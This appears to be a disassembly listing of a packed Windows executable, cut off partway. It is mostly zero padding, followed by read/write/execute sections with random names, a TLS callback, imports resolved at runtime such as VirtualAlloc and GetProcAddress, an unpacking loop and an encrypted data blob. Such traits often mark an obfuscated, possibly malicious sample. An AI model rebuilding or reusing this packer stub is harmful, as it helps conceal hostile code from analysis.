db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 _data ends ; Section 4. (virtual address 00020000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00007000 ( 28672.) ; Offset to raw data for section: 00020000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute iwe0sgrm segment para public 'CODE' use32 assume cs:iwe0sgrm ;org 420000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 1C00h dup(0) iwe0sgrm ends ; Section 5. (virtual address 00027000) ; Virtual size : 00019000 ( 102400.) ; Section size in file : 00019000 ( 102400.) ; Offset to raw data for section: 00027000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _802izwe5 segment para public 'CODE' use32 assume cs:_802izwe5 ;org 427000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 0CCh db 70h, 2, 0 align 8 dd 0FFFFFFFFh, 2703Ch, 270B4h, 27108h, 0 dd 0FFFFFFFFh, 270E8h, 27104h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dword_4270B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_4270B8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_4270BC dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4270C0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_439ED1+113Ao ... dword_4270C4 dd 7C809A51h, 7C809AE4h, 2704Ch, 27060h, 27070h, 27084h ; resolved to->KERNEL32.VirtualAlloc ; DATA XREF: sub_43FB9C+1Eo dd 27094h, 270A4h, 0 dd 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h, 786F4265h dd 41h dword_427104 dd 7E45058Ah ; resolved to->USER32.MessageBoxA ; sub_43FAED+64r dd 270F4h, 0 TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 TlsIndex dd 0 ; DATA XREF: _802izwe5:TlsIndex_ptro TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: _802izwe5:TlsCallbacks_ptro dd 0 ; --------------------------------------------------------------------------- push esi push ecx mov esi, eax mov ecx, edx sub ecx, 4 cld loc_42713E: ; CODE XREF: _802izwe5:00427155j lodsb shr al, 1 cmp al, 74h jnz short loc_427154 mov eax, [esi] bswap eax add eax, ecx mov [esi], eax add esi, 4 sub ecx, 4 loc_427154: ; CODE XREF: _802izwe5:00427144j dec ecx jg short loc_42713E pop ecx pop esi retn ; --------------------------------------------------------------------------- db 8Bh, 0C0h dd offset dword_401000 dd 6000434Ah, 1, 717E0000h, 3B4420D5h, 1C1DCC09h, 23F0889h dd 0B83E97F0h, 5E81C23Eh, 7702E8Ah, 291C8940h, 1C2173CCh dd 0B4040504h, 17FFF848h, 0C6970601h, 4E123446h, 43D07Fh dd 0AC92A87Ah, 0CAFEF739h, 0E1FE60ECh, 32680D7h, 4EEB4AD5h dd 1529C4C8h, 8C1E0829h, 90C2700Dh, 785097C0h, 1F4371h dd 0F2002619h, 6040E397h, 9D8DCC10h, 0E7A3B8h, 8DEC46A8h dd 5DF2D3FCh, 0AFF14F0h, 635B267Ah, 181B41Bh, 422950FEh dd 712CC218h, 6880A26h, 5EBA1EF4h, 754DD20h, 45689816h dd 148206EBh, 73564218h, 4E0FA4CAh, 0C8C50AEh, 7468890Ch dd 0E862C231h, 9044F0B5h, 0BAA0CA8h, 0E122B0BCh, 0F8EC8237h dd 7125BE9Fh, 34485CD8h, 3C350902h, 19011D79h, 8001119Ah dd 0E4DA42D1h, 20A1022Dh, 3609863Dh, 80962BA2h, 0B80F7AC4h dd 67CAD013h, 28CF402Ch, 91C2876h, 7F900254h, 2405C5D3h dd 0D5223E46h, 88203077h, 1412C87Ah, 69D39CDAh, 6A554099h dd 0FCFDF0D7h, 81B55260h, 0A402CFC4h, 78DD945h, 0D36B2A43h dd 0A321AE00h, 4B879386h, 0B11030h, 5D64EFA8h, 0C5A6F8AEh dd 51282A6h, 7BD63709h, 0B261765Fh, 7461A1F9h, 238D39ACh dd 0CBB73481h, 0ABDAFDC7h, 26AD4150h, 0C44A3590h, 0E412EAA2h dd 97595444h, 0B0B540BAh, 506487EDh, 0C2328065h, 8B0ABA48h dd 0B45BA89h, 0B2CAB253h, 0C9961302h, 6E44577Fh, 0E0B159F0h dd 52910627h, 5D623D4Ch, 81848BA2h, 7B156A40h, 0C0F41132h dd 0D1DA6667h, 0A8C1A1A7h, 0A8130731h, 0DB4B82A2h, 1CA5202h dd 2A1A4444h, 0E3C282CEh, 1A064C01h, 443C865Fh, 8A053B8h dd 3ABCC2Ah, 28A05DB5h, 1DE24FDAh, 91E8BB04h, 0BC9908A5h dd 7BAA9C7Fh, 0F6D01333h, 4D3F8186h, 2036B4C3h, 0CD8D8B45h dd 41266314h, 3C0000E6h, 0A3525E2Dh, 6887F7C6h, 6306086h dd 2573E195h, 58399A6Eh, 18AB50A4h, 1F164F23h, 0FBEF159Ah dd 0F0300507h, 2303D88Dh, 0ADC964E2h, 859449h, 0C6DE24Ah dd 0DC59D199h, 6515B280h, 4423844h, 509E628Dh, 40972578h dd 1CF49EA8h, 16A06867h, 92B163F8h, 71263EBh, 0B01B96F1h dd 824D15F8h, 53490309h, 